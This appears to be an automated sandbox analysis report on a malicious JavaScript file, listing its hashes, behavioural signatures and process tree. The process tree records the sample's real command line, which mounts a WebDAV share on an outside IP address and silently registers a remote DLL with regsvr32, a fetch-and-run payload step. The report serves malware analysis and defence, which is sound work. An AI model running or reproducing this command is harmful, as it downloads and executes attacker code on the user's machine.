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Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 14:51

General

  • Target

    2581041382823712049.js

  • Size

    4KB

  • MD5

    89f65de5f644cad8ed10977bc1aafbcd

  • SHA1

    bc5754143adc17abbd89696fc729c94faeaaffa4

  • SHA256

    a34b19c991d5a73a7399927877c6a36ee2561674ca520fa7922fb29c55870167

  • SHA512

    27e5e3cdec366936c00e037b95a69a2d7595e84805a34d592091a1c7137746663e37ab29a4d0c9b12f302165bc0feaaf79d73f193aa867e23ddc7437799584a3

  • SSDEEP

    96:Z6C/EZGfEmEZ36eEZkccc7ld5EZREZREZzAk1Lccc7ld5EZREZREZzrJcN+:5/EEMmEtVEeccc7r5E7E7EFAk1Lccc7q

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2581041382823712049.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3395798232200.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1740
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3008

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads